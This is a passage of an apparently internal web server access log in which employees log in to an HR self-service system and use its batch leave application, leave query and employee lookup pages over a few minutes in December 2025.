"http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:39:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.144 - - [02/Dec/2025:13:39:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:39:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.144 - - [02/Dec/2025:13:39:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:39:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 192.168.11.144 - - [02/Dec/2025:13:39:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:39:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 192.168.11.144 - - [02/Dec/2025:13:39:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:39:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.144 - - [02/Dec/2025:13:39:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8809 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:39:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8809 192.168.12.59 - - [02/Dec/2025:13:39:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:13:39:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.144 - - [02/Dec/2025:13:39:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8809 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:39:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8809 192.168.12.59 - - [02/Dec/2025:13:39:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:13:39:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.144 - - [02/Dec/2025:13:39:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8809 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:39:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8809 192.168.12.59 - - [02/Dec/2025:13:39:45 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:13:39:45 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:13:39:46 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:13:39:46 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.12.59 - - [02/Dec/2025:13:39:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:13:39:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.144 - - [02/Dec/2025:13:39:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11591 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:39:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11591 192.168.12.64 - - [02/Dec/2025:13:40:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4215 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:40:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4215 192.168.12.64 - - [02/Dec/2025:13:40:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54265 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:40:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54265 192.168.12.64 - - [02/Dec/2025:13:40:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54473 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:40:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54473 192.168.12.64 - - [02/Dec/2025:13:40:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 58922 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:40:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 58922 192.168.12.64 - - [02/Dec/2025:13:40:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:40:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.64 - - [02/Dec/2025:13:41:07 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.525174724218486 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:41:07 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.525174724218486 HTTP/1.1" 200 55332 192.168.12.64 - - [02/Dec/2025:13:41:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.525174724218486 HTTP/1.1" 200 57509 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.525174724218486" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:41:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.525174724218486 HTTP/1.1" 200 57509 192.168.12.64 - - [02/Dec/2025:13:41:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4215 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:41:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4215 192.168.11.144 - - [02/Dec/2025:13:42:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10686 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:42:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10686 192.168.11.144 - - [02/Dec/2025:13:42:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:42:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 192.168.11.144 - - [02/Dec/2025:13:42:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:42:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 192.168.11.144 - - [02/Dec/2025:13:42:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:42:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.144 - - [02/Dec/2025:13:43:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6255033119663096 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:43:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6255033119663096 HTTP/1.1" 200 8816 192.168.11.144 - - [02/Dec/2025:13:43:09 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6255033119663096 HTTP/1.1" 200 10990 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6255033119663096" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:43:09 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6255033119663096 HTTP/1.1" 200 10990 192.168.11.144 - - [02/Dec/2025:13:43:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4195 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:43:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4195 192.168.11.144 - - [02/Dec/2025:13:43:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:43:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.144 - - [02/Dec/2025:13:43:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:43:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 192.168.11.144 - - [02/Dec/2025:13:43:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:43:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 192.168.11.144 - - [02/Dec/2025:13:43:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:43:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.157 - - [02/Dec/2025:13:44:03 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [02/Dec/2025:13:44:03 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.11.157 - - [02/Dec/2025:13:44:07 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [02/Dec/2025:13:44:07 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.157 - - [02/Dec/2025:13:44:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [02/Dec/2025:13:44:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.157 - - [02/Dec/2025:13:44:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [02/Dec/2025:13:44:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.157 - - [02/Dec/2025:13:44:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6651 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [02/Dec/2025:13:44:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6651 192.168.11.144 - - [02/Dec/2025:13:44:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8459603159328857 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:44:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8459603159328857 HTTP/1.1" 200 8816 192.168.11.144 - - [02/Dec/2025:13:44:26 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8459603159328857 HTTP/1.1" 200 10990 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8459603159328857" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:44:26 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8459603159328857 HTTP/1.1" 200 10990 192.168.11.157 - - [02/Dec/2025:13:44:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [02/Dec/2025:13:44:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.144 - - [02/Dec/2025:13:44:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4195 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:44:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4195 192.168.11.157 - - [02/Dec/2025:13:45:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23591814782901888 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [02/Dec/2025:13:45:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23591814782901888 HTTP/1.1" 200 8816 192.168.11.157 - - [02/Dec/2025:13:45:08 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23591814782901888 HTTP/1.1" 200 10129 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23591814782901888" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [02/Dec/2025:13:45:08 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23591814782901888 HTTP/1.1" 200 10129 192.168.11.157 - - [02/Dec/2025:13:45:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23591814782901888 HTTP/1.1" 200 10987 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23591814782901888" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 